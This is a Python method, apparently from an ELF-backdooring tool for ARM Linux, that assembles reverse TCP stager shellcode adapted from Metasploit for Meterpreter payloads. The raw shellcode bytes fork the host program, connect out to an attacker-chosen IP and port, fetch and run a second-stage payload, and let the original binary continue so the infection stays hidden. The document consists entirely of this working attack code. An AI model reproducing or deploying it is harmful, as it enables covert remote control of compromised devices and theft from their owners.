    def reverse_tcp_stager(self, CavesPicked={}):
        """
        FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
        Modified metasploit payload/linux/armle/shell/reverse_tcp
        to correctly fork the shellcode payload and contiue normal execution.
        """
        if self.PORT is None:
            print ("Must provide port")
            sys.exit(1)

        #FORK
        self.shellcode1 = "\x00\x40\xa0\xe1"   # mov r4, r0 
        self.shellcode1 += "\x00\x00\x40\xe0"   # sub r0, r0, r0
        self.shellcode1 += "\x02\x70\xa0\xe3"   # mov r7, #2
        self.shellcode1 += "\x00\x00\x00\xef"   # scv 0
        self.shellcode1 += "\x00\x00\x50\xe3"   # cmp r0, #
        self.shellcode1 += "\x04\x00\xa0\xe1"   # mov r0, r4
        self.shellcode1 += "\x04\x40\x44\xe0"   # sub r4, r4, r4
        self.shellcode1 += "\x00\x70\xa0\xe3"   # mov r7, #0
        self.shellcode1 += "\x00\x00\x00\x0a"   # beq to shellcode
        # JMP Address = (entrypoint - currentaddress -8)/4
        jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4
        self.shellcode1 += (struct.pack("<I", jmpAddr)).strip("\x00")
        self.shellcode1 += "\xea"   #b entrypoint

        #SHELLCODE
        self.shellcode1 += ("\xb4\x70\x9f\xe5\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0"
                            "\xe3\x00\x00\x00\xef\x00\xc0\xa0\xe1\x02\x70\x87\xe2\x90\x10"
                            "\x8f\xe2\x10\x20\xa0\xe3\x00\x00\x00\xef\x0c\x00\xa0\xe1\x04"
                            "\xd0\x4d\xe2\x08\x70\x87\xe2\x0d\x10\xa0\xe1\x04\x20\xa0\xe3"
                            "\x00\x30\xa0\xe3\x00\x00\x00\xef\x00\x10\x9d\xe5\x70\x30\x9f"
                            "\xe5\x03\x10\x01\xe0\x01\x20\xa0\xe3\x02\x26\xa0\xe1\x02\x10"
                            "\x81\xe0\xc0\x70\xa0\xe3\x00\x00\xe0\xe3\x07\x20\xa0\xe3\x54"
                            "\x30\x9f\xe5\x00\x40\xa0\xe1\x00\x50\xa0\xe3\x00\x00\x00\xef"
                            "\x63\x70\x87\xe2\x00\x10\xa0\xe1\x0c\x00\xa0\xe1\x00\x30\xa0"
                            "\xe3\x00\x20\x9d\xe5\xfa\x2f\x42\xe2\x00\x20\x8d\xe5\x00\x00"
                            "\x52\xe3\x02\x00\x00\xda\xfa\x2f\xa0\xe3\x00\x00\x00\xef\xf7"
                            "\xff\xff\xea\xfa\x2f\x82\xe2\x00\x00\x00\xef\x01\xf0\xa0\xe1"
                            "\x02\x00")
        self.shellcode1 += struct.pack('!H', self.PORT)
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += "\x19\x01\x00\x00\x00\xf0\xff\xff\x22\x10\x00\x00"

        self.shellcode = self.shellcode1
        return (self.shellcode1)
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/armle/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.
arm/LinuxARMLELF32.py